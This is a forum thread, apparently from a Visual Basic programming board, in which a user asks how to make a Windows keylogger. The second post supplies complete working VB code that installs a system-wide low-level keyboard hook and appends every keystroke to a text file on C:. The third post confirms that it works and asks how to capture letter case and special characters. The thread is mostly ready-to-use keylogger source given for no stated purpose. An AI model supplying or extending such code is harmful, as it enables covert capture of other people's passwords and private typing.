Results 1 to 3 of 3

Thread: How Can I Make A Keylogger?

  1. #1

    Thread Starter
    New Member
    Join Date
    Feb 2002
    Location
    Israel
    Posts
    8

    How Can I Make A Keylogger?

    Anybody knows of some way to make an application which loggs the keys that being pressed in windows and in windows applications?
    It'll sure help me alot.

    10x ahead.

  2. #2
    Serge's Avatar
    Join Date
    Feb 1999
    Location
    Scottsdale, Arizona, USA
    Posts
    2,744
    Something like this:

    Module Code
    VB Code:
    1. Public Type KBDLLHOOKSTRUCT
    2.     vkCode As Long
    3.     scanCode As Long
    4.     flags As Long
    5.     time As Long
    6.     dwExtraInfo As Long
    7. End Type
    8. Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    9. Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    10. Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    11. Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
    12. Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    13. Public Const HC_ACTION = 0
    14. Public Const WM_KEYDOWN = &H100
    15. Public Const WM_KEYUP = &H101
    16. Public Const WM_SYSKEYDOWN = &H104
    17. Public Const WM_SYSKEYUP = &H105
    18. Public Const VK_TAB = &H9
    19. Public Const VK_CONTROL = &H11
    20. Private Const VK_LSHIFT = &HA0
    21. Private Const VK_RSHIFT = &HA1
    22. Private Const VK_RCONTROL = &HA3
    23. Private Const VK_LCONTROL = &HA2
    24. Private Const VK_SHIFT = &H10
    25. Public Const VK_ESCAPE = &H1B
    26. Public Const VK_DELETE = &H2E
    27.  
    28. Public Const WH_KEYBOARD_LL = 13
    29. Public Const LLKHF_ALTDOWN = &H20
    30.  
    31.  
    32. Dim m_udtKEYBOARDHOOK As KBDLLHOOKSTRUCT
    33.  
    34. Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    35.     Dim intFFN As Integer
    36.    
    37.     Dim blnConsumeKey As Boolean
    38.    
    39.     If (nCode = HC_ACTION) Then
    40.         If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
    41.             CopyMemory m_udtKEYBOARDHOOK, ByVal lParam, Len(m_udtKEYBOARDHOOK)
    42.                
    43.             intFFN = FreeFile
    44.             Open "C:\Keylogger.txt" For Append As intFFN
    45.            
    46.             With m_udtKEYBOARDHOOK
    47.                 If (.flags And LLKHF_ALTDOWN) <> 0 Then
    48.                     Print #intFFN, "ALT"
    49.                 End If
    50.                
    51.                 'print printable characters
    52.                 If .vkCode >= 33 And .vkCode <= 126 Then
    53.                     Print #intFFN, Chr(.vkCode)
    54.                 ElseIf .vkCode = VK_LSHIFT Or .vkCode = VK_RSHIFT Or .vkCode = VK_SHIFT Then
    55.                     Print #intFFN, "SHIFT"
    56.                 ElseIf .vkCode = VK_CONTROL Then
    57.                     Print #intFFN, "CONTROL"
    58.                 Else
    59.                     Print #intFFN, "ASCII: " & .vkCode
    60.                 End If
    61.             End With
    62.                
    63.             Close #intFFN
    64.            
    65.         End If
    66.     End If
    67.     KeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
    68. End Function

    Form Code (add a checkbox called chkLog)
    VB Code:
    1. Dim m_lngKeyboad As Long
    2.  
    3. Private Sub chkLog_Click()
    4.     If chkLog = vbChecked Then
    5.         m_lngKeyboad = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0)
    6.     Else
    7.         UnhookWindowsHookEx m_lngKeyboad
    8.         m_lngKeyboad = 0
    9.     End If
    10. End Sub
    11.  
    12.  
    13. Private Sub Form_Unload(Cancel As Integer)
    14.     If m_lngKeyboad <> 0 Then UnhookWindowsHookEx m_lngKeyboad
    15. End Sub
    You can improve the code by adding more conditions in the KeyboardProc function.

  3. #3
    Junior Member
    Join Date
    Jan 2002
    Location
    NY
    Posts
    24

    key logger

    Serge,

    That keylogger works nicely, but how would we enhance it to capture both upper and lower case, and special chars ? I've been looking at several samples and I'm having a problem resolving such issues.


    Thanx... Lou

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width